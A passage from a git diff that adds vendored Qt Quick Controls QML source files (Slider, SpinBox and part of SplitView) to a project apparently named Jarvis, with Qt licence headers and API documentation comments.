flickableItem.contentHeight - flickThreshold - viewport.height + && verticalDelta < -speedThreshold) { + flickableItem.flick(ignored, Math.max(-maxFlick, acceleration * verticalDelta)) + } else { + flickableItem.contentY = verticalValue + flickableItem.originY + } + } + } + + onHorizontalValueChanged: { + if (!horizontalRecursionGuard) + flickableItem.contentX = horizontalValue + flickableItem.originX + } + } + + ScrollViewHelper { + id: scroller + anchors.fill: parent + active: wheelArea.active + property bool outerFrame: !frameVisible || !(__style ? __style.__externalScrollBars : 0) + property int scrollBarSpacing: outerFrame ? 0 : (__style ? __style.__scrollBarSpacing : 0) + property int verticalScrollbarOffset: verticalScrollBar.visible && !verticalScrollBar.isTransient ? + verticalScrollBar.width + scrollBarSpacing : 0 + property int horizontalScrollbarOffset: horizontalScrollBar.visible && !horizontalScrollBar.isTransient ? + horizontalScrollBar.height + scrollBarSpacing : 0 + Loader { + id: frameLoader + sourceComponent: __style ? __style.frame : null + anchors.fill: parent + anchors.rightMargin: scroller.outerFrame ? 0 : scroller.verticalScrollbarOffset + anchors.bottomMargin: scroller.outerFrame ? 0 : scroller.horizontalScrollbarOffset + } + + Item { + id: viewportItem + anchors.fill: frameLoader + anchors.topMargin: frameVisible ? __style.padding.top : 0 + anchors.leftMargin: frameVisible ? __style.padding.left : 0 + anchors.rightMargin: (frameVisible ? __style.padding.right : 0) + (scroller.outerFrame ? scroller.verticalScrollbarOffset : 0) + anchors.bottomMargin: (frameVisible ? __style.padding.bottom : 0) + (scroller.outerFrame ? scroller.horizontalScrollbarOffset : 0) + clip: true + } + } + FocusFrame { visible: highlightOnFocus && root.activeFocus } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ScrollView.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ScrollView.qmlc new file mode 100644 index 00000000..e454b14f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ScrollView.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Slider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Slider.qml new file mode 100644 index 00000000..ff2f0c23 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Slider.qml @@ -0,0 +1,347 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Slider + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief Provides a vertical or horizontal slider control. + + \image slider.png + + The slider is the classic control for providing a bounded value. It lets + the user move a slider handle along a horizontal or vertical groove + and translates the handle's position into a value within the legal range. + + \code + Slider { + value: 0.5 + } + \endcode + + The slider value is by default in the range [0, 1]. If integer values are + needed, you can set the \l stepSize. + + You can create a custom appearance for a Slider by + assigning a \l {SliderStyle}. +*/ + +Control { + id: slider + + /*! + \qmlproperty enumeration Slider::orientation + + This property holds the layout orientation of the slider. + The default value is \c Qt.Horizontal. + */ + property int orientation: Qt.Horizontal + + /*! + \qmlproperty real Slider::minimumValue + + This property holds the minimum value of the slider. + The default value is \c{0.0}. + */ + property alias minimumValue: range.minimumValue + + /*! + \qmlproperty real Slider::maximumValue + + This property holds the maximum value of the slider. + The default value is \c{1.0}. + */ + property alias maximumValue: range.maximumValue + + /*! + \qmlproperty bool Slider::updateValueWhileDragging + + This property indicates whether the current \l value should be updated while + the user is moving the slider handle, or only when the button has been released. + This property could for instance be modified if changing the slider value would turn + out to be too time consuming. + + The default value is \c true. + */ + property bool updateValueWhileDragging: true + + /*! + \qmlproperty bool Slider::pressed + + This property indicates whether the slider handle is being pressed. + */ + readonly property alias pressed: mouseArea.pressed + + /*! + \qmlproperty bool Slider::hovered + + This property indicates whether the slider handle is being hovered. + */ + readonly property alias hovered: mouseArea.handleHovered + + /*! + \qmlproperty real Slider::stepSize + + This property indicates the slider step size. + + A value of 0 indicates that the value of the slider operates in a + continuous range between \l minimumValue and \l maximumValue. + + Any non 0 value indicates a discrete stepSize. The following example + will generate a slider with integer values in the range [0-5]. + + \qml + Slider { + maximumValue: 5.0 + stepSize: 1.0 + } + \endqml + + The default value is \c{0.0}. + */ + property alias stepSize: range.stepSize + + /*! + \qmlproperty real Slider::value + + This property holds the current value of the slider. + The default value is \c{0.0}. + */ + property alias value: range.value + + /*! + \qmlproperty bool Slider::activeFocusOnPress + + This property indicates whether the slider should receive active focus when + pressed. + */ + property bool activeFocusOnPress: false + + /*! + \qmlproperty bool Slider::tickmarksEnabled + + This property indicates whether the slider should display tickmarks + at step intervals. Tick mark spacing is calculated based on the + \l stepSize property. + + The default value is \c false. + + \note This property may be ignored on some platforms when using the native style (e.g. Android). + */ + property bool tickmarksEnabled: false + + /*! + \qmlproperty bool Slider::wheelEnabled + + This property determines whether the control handles wheel events. + The default value is \c true. + + \since QtQuick.Controls 1.6 + */ + property alias wheelEnabled: wheelarea.enabled + + /*! \internal */ + property bool __horizontal: orientation === Qt.Horizontal + + /*! \internal + The extra arguments positionAtMinimum and positionAtMaximum are there to force + re-evaluation of the handle position when the constraints change (QTBUG-41255), + and the same for range.minimumValue (QTBUG-51765) and range.maximumValue (QTBUG-63354). + */ + property real __handlePos: range.valueForPosition(__horizontal ? fakeHandle.x : fakeHandle.y, + range.positionAtMinimum, range.positionAtMaximum, range.minimumValue, range.maximumValue) + + activeFocusOnTab: true + + Accessible.role: Accessible.Slider + /*! \internal */ + function accessibleIncreaseAction() { + range.increaseSingleStep() + } + /*! \internal */ + function accessibleDecreaseAction() { + range.decreaseSingleStep() + } + + style: Settings.styleComponent(Settings.style, "SliderStyle.qml", slider) + + Keys.onRightPressed: if (__horizontal) range.increaseSingleStep() + Keys.onLeftPressed: if (__horizontal) range.decreaseSingleStep() + Keys.onUpPressed: if (!__horizontal) range.increaseSingleStep() + Keys.onDownPressed: if (!__horizontal) range.decreaseSingleStep() + + RangeModel { + id: range + minimumValue: 0.0 + maximumValue: 1.0 + value: 0 + stepSize: 0.0 + inverted: __horizontal ? false : true + + positionAtMinimum: 0 + positionAtMaximum: __horizontal ? slider.width - fakeHandle.width : slider.height - fakeHandle.height + } + + Item { + id: fakeHandle + anchors.verticalCenter: __horizontal ? parent.verticalCenter : undefined + anchors.horizontalCenter: !__horizontal ? parent.horizontalCenter : undefined + width: __panel.handleWidth + height: __panel.handleHeight + + function updatePos() { + if (updateValueWhileDragging && !mouseArea.drag.active) + range.position = __horizontal ? x : y + } + + onXChanged: updatePos(); + onYChanged: updatePos(); + } + + MouseArea { + id: mouseArea + + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + property int clickOffset: 0 + property real pressX: 0 + property real pressY: 0 + property bool handleHovered: false + + function clamp ( val ) { + return Math.max(range.positionAtMinimum, Math.min(range.positionAtMaximum, val)) + } + + function updateHandlePosition(mouse, force) { + var pos, overThreshold + if (__horizontal) { + pos = clamp (mouse.x + clickOffset - fakeHandle.width/2) + overThreshold = Math.abs(mouse.x - pressX) >= Settings.dragThreshold + if (overThreshold) + preventStealing = true + if (overThreshold || force) + fakeHandle.x = pos + } else if (!__horizontal) { + pos = clamp (mouse.y + clickOffset- fakeHandle.height/2) + overThreshold = Math.abs(mouse.y - pressY) >= Settings.dragThreshold + if (overThreshold) + preventStealing = true + if (overThreshold || force) + fakeHandle.y = pos + } + } + + onPositionChanged: { + if (pressed) + updateHandlePosition(mouse, !Settings.hasTouchScreen || preventStealing) + + var point = mouseArea.mapToItem(fakeHandle, mouse.x, mouse.y) + handleHovered = fakeHandle.contains(Qt.point(point.x, point.y)) + } + + onPressed: { + if (slider.activeFocusOnPress) + slider.forceActiveFocus(); + + if (handleHovered) { + var point = mouseArea.mapToItem(fakeHandle, mouse.x, mouse.y) + clickOffset = __horizontal ? fakeHandle.width/2 - point.x : fakeHandle.height/2 - point.y + } + pressX = mouse.x + pressY = mouse.y + updateHandlePosition(mouse, !Settings.hasTouchScreen) + } + + onReleased: { + updateHandlePosition(mouse, Settings.hasTouchScreen) + // If we don't update while dragging, this is the only + // moment that the range is updated. + if (!slider.updateValueWhileDragging) + range.position = __horizontal ? fakeHandle.x : fakeHandle.y; + clickOffset = 0 + preventStealing = false + } + + onExited: handleHovered = false + } + + + // During the drag, we simply ignore the position set from the range, this + // means that setting a value while dragging will not "interrupt" the + // dragging activity. + Qml.Binding { + when: !mouseArea.drag.active + target: fakeHandle + property: __horizontal ? "x" : "y" + value: range.position + restoreMode: Binding.RestoreBinding + } + + WheelArea { + id: wheelarea + anchors.fill: parent + verticalValue: slider.value + horizontalValue: slider.value + horizontalMinimumValue: slider.minimumValue + horizontalMaximumValue: slider.maximumValue + verticalMinimumValue: slider.minimumValue + verticalMaximumValue: slider.maximumValue + property real step: (slider.maximumValue - slider.minimumValue)/(range.positionAtMaximum - range.positionAtMinimum) + + onVerticalWheelMoved: { + if (verticalDelta !== 0) { + var delta = Math.abs(verticalDelta)*step > stepSize ? verticalDelta*step : verticalDelta/Math.abs(verticalDelta)*stepSize + range.position = range.positionForValue(value - delta * (inverted ? 1 : -1)) + } + } + + onHorizontalWheelMoved: { + if (horizontalDelta !== 0) { + var delta = Math.abs(horizontalDelta)*step > stepSize ? horizontalDelta*step : horizontalDelta/Math.abs(horizontalDelta)*stepSize + range.position = range.positionForValue(value + delta * (inverted ? 1 : -1)) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Slider.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Slider.qmlc new file mode 100644 index 00000000..3aaa4e2c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Slider.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SpinBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SpinBox.qml new file mode 100644 index 00000000..b7ec6a8f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SpinBox.qml @@ -0,0 +1,397 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype SpinBox + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief Provides a spin box control. + + \image spinbox.png + + SpinBox allows the user to choose a value by clicking the up or down buttons, or by + pressing up or down on the keyboard. The user can also type the value in manually. + + By default the SpinBox provides discrete values in the range [0-99] with a \l stepSize of 1 and 0 \l decimals. + + \code + SpinBox { + id: spinbox + } + \endcode + + Note that if you require decimal values you will need to set the \l decimals to a non 0 value. + + \code + SpinBox { + id: spinbox + decimals: 2 + } + \endcode + +*/ + +Control { + id: spinbox + + /*! + \qmlproperty real SpinBox::value + + The value of this SpinBox, clamped to \l minimumValue and \l maximumValue. + + The default value is \c{0.0}. + */ + property alias value: validator.value + + /*! + \qmlproperty real SpinBox::minimumValue + + The minimum value of the SpinBox range. + The \l value is clamped to this value. + + The default value is \c{0.0}. + */ + property alias minimumValue: validator.minimumValue + + /*! + \qmlproperty real SpinBox::maximumValue + + The maximum value of the SpinBox range. + The \l value is clamped to this value. If maximumValue is smaller than + \l minimumValue, \l minimumValue will be enforced. + + The default value is \c{99}. + */ + property alias maximumValue: validator.maximumValue + + /*! \qmlproperty real SpinBox::stepSize + The amount by which the \l value is incremented/decremented when a + spin button is pressed. + + The default value is \c{1.0}. + */ + property alias stepSize: validator.stepSize + + /*! \qmlproperty string SpinBox::suffix + The suffix for the value. I.e "cm" */ + property alias suffix: validator.suffix + + /*! \qmlproperty string SpinBox::prefix + The prefix for the value. I.e "$" */ + property alias prefix: validator.prefix + + /*! \qmlproperty int SpinBox::decimals + This property indicates the amount of decimals. + Note that if you enter more decimals than specified, they will + be truncated to the specified amount of decimal places. + The default value is \c{0}. + */ + property alias decimals: validator.decimals + + /*! \qmlproperty font SpinBox::font + + This property indicates the current font used by the SpinBox. + */ + property alias font: input.font + + /*! + \qmlproperty int SpinBox::cursorPosition + \since QtQuick.Controls 1.5 + + This property holds the position of the cursor in the SpinBox. + */ + property alias cursorPosition: input.cursorPosition + + + /*! This property indicates whether the Spinbox should get active + focus when pressed. + The default value is \c true. + */ + property bool activeFocusOnPress: true + + /*! \qmlproperty enumeration horizontalAlignment + \since QtQuick.Controls 1.1 + + This property indicates how the content is horizontally aligned + within the text field. + + The supported values are: + \list + \li Qt.AlignLeft + \li Qt.AlignHCenter + \li Qt.AlignRight + \endlist + + The default value is style dependent. + */ + property int horizontalAlignment: __panel ? __panel.horizontalAlignment : Qt.AlignLeft + + /*! + \qmlproperty bool SpinBox::hovered + + This property indicates whether the control is being hovered. + */ + readonly property bool hovered: mouseArea.containsMouse || input.containsMouse + || mouseUp.containsMouse || mouseDown.containsMouse + + /*! + \qmlsignal SpinBox::editingFinished() + \since QtQuick.Controls 1.1 + + This signal is emitted when the Return or Enter key is pressed or + the control loses focus. + + The corresponding handler is \c onEditingFinished. + */ + signal editingFinished() + + /*! + \qmlproperty bool SpinBox::selectByMouse + \since QtQuick.Controls 1.3 + + This property determines if the user can select the text with the + mouse. + + The default value is \c true. + */ + property bool selectByMouse: true + + /*! + \qmlproperty bool SpinBox::inputMethodComposing + \since QtQuick.Controls 1.3 + + This property holds whether the SpinBox has partial text input from an input method. + + While it is composing an input method may rely on mouse or key events from the SpinBox + to edit or commit the partial text. This property can be used to determine when to disable + events handlers that may interfere with the correct operation of an input method. + */ + readonly property bool inputMethodComposing: !!input.inputMethodComposing + + /*! + \since QtQuick.Controls 1.3 + + This property contains the edit \l Menu for working + with text selection. Set it to \c null if no menu + is wanted. + */ + property Component menu: input.editMenu.defaultMenu + + style: Settings.styleComponent(Settings.style, "SpinBoxStyle.qml", spinbox) + + /*! \internal */ + function __increment() { + validator.increment() + if (activeFocus) + input.selectValue() + } + + /*! \internal */ + function __decrement() { + validator.decrement() + if (activeFocus) + input.selectValue() + } + + /*! \internal */ + property alias __text: input.text + + /*! \internal */ + property alias __baselineOffset: input.baselineOffset + + __styleData: QtObject { + readonly property bool upEnabled: value != maximumValue; + readonly property alias upHovered: mouseUp.containsMouse + readonly property alias upPressed: mouseUp.pressed + + readonly property bool downEnabled: value != minimumValue; + readonly property alias downPressed: mouseDown.pressed + readonly property alias downHovered: mouseDown.containsMouse + + readonly property int contentHeight: Math.max(input.implicitHeight, 16) + readonly property int contentWidth: Math.max(maxSizeHint.implicitWidth, minSizeHint.implicitWidth) + } + + Text { + id: maxSizeHint + text: prefix + maximumValue.toFixed(decimals) + suffix + font: input.font + visible: false + } + + Text { + id: minSizeHint + text: prefix + minimumValue.toFixed(decimals) + suffix + font: input.font + visible: false + } + + activeFocusOnTab: true + + onActiveFocusChanged: if (activeFocus) input.selectValue() + + Accessible.name: input.text + Accessible.role: Accessible.SpinBox + Accessible.editable: true + + MouseArea { + id: mouseArea + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + onPressed: if (activeFocusOnPress) input.forceActiveFocus() + onWheel: { + if (wheel.angleDelta.y > 0) + __increment(); + else + __decrement(); + } + } + + TextInputWithHandles { + id: input + clip: contentWidth > width + anchors.fill: parent + anchors.leftMargin: __style ? __style.padding.left : 0 + anchors.topMargin: __style ? __style.padding.top : 0 + anchors.rightMargin: __style ? __style.padding.right: 0 + anchors.bottomMargin: __style ? __style.padding.bottom: 0 + + control: spinbox + cursorHandle: __style ? __style.__cursorHandle : undefined + selectionHandle: __style ? __style.__selectionHandle : undefined + + focus: true + activeFocusOnPress: spinbox.activeFocusOnPress + + horizontalAlignment: spinbox.horizontalAlignment + verticalAlignment: __panel ? __panel.verticalAlignment : Qt.AlignVCenter + inputMethodHints: Qt.ImhFormattedNumbersOnly + + validator: SpinBoxValidator { + id: validator + property bool ready: false // Delay validation until all properties are ready + onTextChanged: if (ready) input.text = validator.text + Component.onCompleted: {input.text = validator.text ; ready = true} + } + onAccepted: { + input.text = validator.text + selectValue() + } + + Keys.forwardTo: spinbox + + onEditingFinished: spinbox.editingFinished() + + font: __panel ? __panel.font : TextSingleton.font + color: __panel ? __panel.foregroundColor : "black" + selectionColor: __panel ? __panel.selectionColor : "black" + selectedTextColor: __panel ? __panel.selectedTextColor : "black" + + opacity: parent.enabled ? 1 : 0.5 + renderType: __style ? __style.renderType : Text.NativeRendering + + function selectValue() { + select(prefix.length, text.length - suffix.length) + } + } + + // Spinbox increment button + + MouseArea { + id: mouseUp + objectName: "mouseUp" + hoverEnabled: Settings.hoverEnabled + + property var upRect: __panel ? __panel.upRect : null + + anchors.left: parent.left + anchors.top: parent.top + + anchors.leftMargin: upRect ? upRect.x : 0 + anchors.topMargin: upRect ? upRect.y : 0 + + width: upRect ? upRect.width : 0 + height: upRect ? upRect.height : 0 + + onClicked: __increment() + onPressed: if (!Settings.hasTouchScreen && activeFocusOnPress) input.forceActiveFocus() + + property bool autoincrement: false; + onReleased: autoincrement = false + onExited: autoincrement = false + Timer { running: mouseUp.pressed; interval: 350 ; onTriggered: mouseUp.autoincrement = true } + Timer { running: mouseUp.autoincrement && mouseUp.containsMouse; interval: 60 ; repeat: true ; onTriggered: __increment() } + } + + // Spinbox decrement button + + MouseArea { + id: mouseDown + objectName: "mouseDown" + hoverEnabled: Settings.hoverEnabled + + onClicked: __decrement() + onPressed: if (!Settings.hasTouchScreen && activeFocusOnPress) input.forceActiveFocus() + + property var downRect: __panel ? __panel.downRect : null + + anchors.left: parent.left + anchors.top: parent.top + + anchors.leftMargin: downRect ? downRect.x : 0 + anchors.topMargin: downRect ? downRect.y : 0 + + width: downRect ? downRect.width : 0 + height: downRect ? downRect.height : 0 + + property bool autoincrement: false; + onReleased: autoincrement = false + onExited: autoincrement = false + Timer { running: mouseDown.pressed; interval: 350 ; onTriggered: mouseDown.autoincrement = true } + Timer { running: mouseDown.autoincrement && mouseDown.containsMouse; interval: 60 ; repeat: true ; onTriggered: __decrement() } + } + + Keys.onUpPressed: __increment() + Keys.onDownPressed: __decrement() +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SpinBox.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SpinBox.qmlc new file mode 100644 index 00000000..b6947e4f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SpinBox.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SplitView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SplitView.qml new file mode 100644 index 00000000..471e70a0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/SplitView.qml @@ -0,0 +1,633 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Layouts 1.0 +import QtQuick.Controls.Private 1.0 as Private +import QtQuick.Window 2.1 + +/*! + \qmltype SplitView + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup views + \ingroup controls + \brief Lays out items with a draggable splitter between each item. + + \image splitview.png + + SplitView is a control that lays out items horizontally or + vertically with a draggable splitter between each item. + + There will always be one (and only one) item in the SplitView that has \l{Layout::fillWidth}{Layout.fillWidth} + set to \c true (or \l{Layout::fillHeight}{Layout.fillHeight}, if orientation is Qt.Vertical). This means that the + item will get all leftover space when other items have been laid out. + By default, the last visible child of the SplitView will have this set, but + it can be changed by explicitly setting fillWidth to \c true on another item. + + As the fillWidth item will automatically be resized to fit the extra space, explicit assignments + to its width and height properties will be ignored (but \l{Layout::minimumWidth}{Layout.minimumWidth} and + \l{Layout::maximumWidth}{Layout.maximumWidth} will still be respected). + The initial sizes of other items should be set via their width and height properties. + Any binding assignment to an item's width or height will be broken as soon as the user + drags that item's splitter handle. + + A handle can belong to the item either on the left or top side, or on the right or bottom side: + \list + \li If the fillWidth item is to the right: the handle belongs to the left item. + \li if the fillWidth item is on the left: the handle belongs to the right item. + \endlist + + This will again control which item gets resized when the user drags a handle, + and which handle gets hidden when an item is told to hide. + + SplitView supports setting attached Layout properties on child items, which + means that you can set the following attached properties for each child: + \list + \li \l{Layout::minimumWidth}{Layout.minimumWidth} + \li \l{Layout::minimumHeight}{Layout.minimumHeight} + \li \l{Layout::maximumWidth}{Layout.maximumWidth} + \li \l{Layout::maximumHeight}{Layout.maximumHeight} + \li \l{Layout::fillWidth}{Layout.fillWidth} (\c true for only one child) + \li \l{Layout::fillHeight}{Layout.fillHeight} (\c true for only one child) + \endlist + + \note import QtQuick.Layouts 1.0 in your QML file in order to use the Layout + attached properties inside SplitView. + + Example: + + To create a SplitView with three items, and let the center item get superfluous space, one + could do the following: + + \qml + SplitView { + anchors.fill: parent + orientation: Qt.Horizontal + + Rectangle { + width: 200 + Layout.maximumWidth: 400 + color: "lightblue" + Text { + text: "View 1" + anchors.centerIn: parent + } + } + Rectangle { + id: centerItem + Layout.minimumWidth: 50 + Layout.fillWidth: true + color: "lightgray" + Text { + text: "View 2" + anchors.centerIn: parent + } + } + Rectangle { + width: 200 + color: "lightgreen" + Text { + text: "View 3" + anchors.centerIn: parent + } + } + } + + \endqml +*/ + +Item { + id: root + + /*! + \qmlproperty enumeration SplitView::orientation + + This property holds the orientation of the SplitView. + The value can be either \c Qt.Horizontal or \c Qt.Vertical. + The default value is \c Qt.Horizontal. + */ + property int orientation: Qt.Horizontal + + /*! + This property holds the delegate that will be instantiated between each + child item. Inside the delegate the following properties are available: + + \table + \row \li readonly property bool styleData.index \li Specifies the index of the splitter handle. The handle + between the first and the second item will get index 0, + the next handle index 1 etc. + \row \li readonly property bool styleData.hovered \li The handle is being hovered. + \row \li readonly property bool styleData.pressed \li The handle is being pressed. + \row \li readonly property bool styleData.resizing \li The handle is being dragged. + \endtable + +*/ + property Component handleDelegate: Rectangle { + width: 1 + height: 1 + color: Qt.darker(pal.window, 1.5) + } + + /*! + This propery is \c true when the user is resizing any of the items by + dragging on the splitter handles. + */ + property bool resizing: false + + /*! \internal */ + default property alias __contents: contents.data + /*! \internal */ + property alias __items: splitterItems.children + /*! \internal */ + property alias __handles: splitterHandles.children + + clip: true + Component.onCompleted: d.init() + onWidthChanged: d.updateLayout() + onHeightChanged: d.updateLayout() + onOrientationChanged: d.changeOrientation() + + /*! \qmlmethod void SplitView::addItem(Item item) + Add an \a item to the end of the view. + \since QtQuick.Controls 1.3 */ + function addItem(item) { + d.updateLayoutGuard = true + d.addItem_impl(item) + d.calculateImplicitSize() + d.updateLayoutGuard = false + d.updateFillIndex() + } + + /*! \qmlmethod void SplitView::removeItem(Item item) + Remove \a item from the view. + \since QtQuick.Controls 1.4 */ + function removeItem(item) { + d.updateLayoutGuard = true + var result = d.removeItem_impl(item) + if (result !== null) { + d.calculateImplicitSize() + d.updateLayoutGuard = false + d.updateFillIndex() + } + else { + d.updateLayoutGuard = false + } + } + + SystemPalette { id: pal } + + QtObject { + id: d + + readonly property string leftMargin: horizontal ? "leftMargin" : "topMargin" + readonly property string topMargin: horizontal ? "topMargin" : "leftMargin" + readonly property string rightMargin: horizontal ? "rightMargin" : "bottomMargin" + + property bool horizontal: orientation == Qt.Horizontal + readonly property string minimum: horizontal ? "minimumWidth" : "minimumHeight" + readonly property string maximum: horizontal ? "maximumWidth" : "maximumHeight" + readonly property string otherMinimum: horizontal ? "minimumHeight" : "minimumWidth" + readonly property string otherMaximum: horizontal ? "maximumHeight" : "maximumWidth" + readonly property string offset: horizontal ? "x" : "y" + readonly property string otherOffset: horizontal ? "y" : "x" + readonly property string size: horizontal ? "width" : "height" + readonly property string otherSize: horizontal ? "height" : "width" + readonly property string implicitSize: horizontal ? "implicitWidth" : "implicitHeight" + readonly property string implicitOtherSize: horizontal ? "implicitHeight" : "implicitWidth" + + property int fillIndex: -1 + property bool updateLayoutGuard: true + + function extraMarginSize(item, other) { + if (typeof(other) === 'undefined') + other = false; + if (other === horizontal) + // vertical + return item.Layout.topMargin + item.Layout.bottomMargin + return item.Layout.leftMargin + item.Layout.rightMargin + } + + function addItem_impl(item) + { + // temporarily set fillIndex to new item + fillIndex = __items.length + if (splitterItems.children.length > 0) + handleLoader.createObject(splitterHandles, {"__handleIndex":splitterItems.children.length - 1}) + + item.parent = splitterItems + d.initItemConnections(item) + } + + function initItemConnections(item) + { + // should match disconnections in terminateItemConnections + item.widthChanged.connect(d.updateLayout) + item.heightChanged.connect(d.updateLayout) + item.Layout.maximumWidthChanged.connect(d.updateLayout) + item.Layout.minimumWidthChanged.connect(d.updateLayout) + item.Layout.maximumHeightChanged.connect(d.updateLayout) + item.Layout.minimumHeightChanged.connect(d.updateLayout) + item.Layout.leftMarginChanged.connect(d.updateLayout) + item.Layout.topMarginChanged.connect(d.updateLayout) + item.Layout.rightMarginChanged.connect(d.updateLayout) + item.Layout.bottomMarginChanged.connect(d.updateLayout) + item.visibleChanged.connect(d.updateFillIndex) + item.Layout.fillWidthChanged.connect(d.updateFillIndex) + item.Layout.fillHeightChanged.connect(d.updateFillIndex) + } + + function terminateItemConnections(item) + { + // should match connections in initItemConnections + item.widthChanged.disconnect(d.updateLayout) + item.heightChanged.disconnect(d.updateLayout) + item.Layout.maximumWidthChanged.disconnect(d.updateLayout) + item.Layout.minimumWidthChanged.disconnect(d.updateLayout) + item.Layout.maximumHeightChanged.disconnect(d.updateLayout) + item.Layout.minimumHeightChanged.disconnect(d.updateLayout) + item.visibleChanged.disconnect(d.updateFillIndex) + item.Layout.fillWidthChanged.disconnect(d.updateFillIndex) + 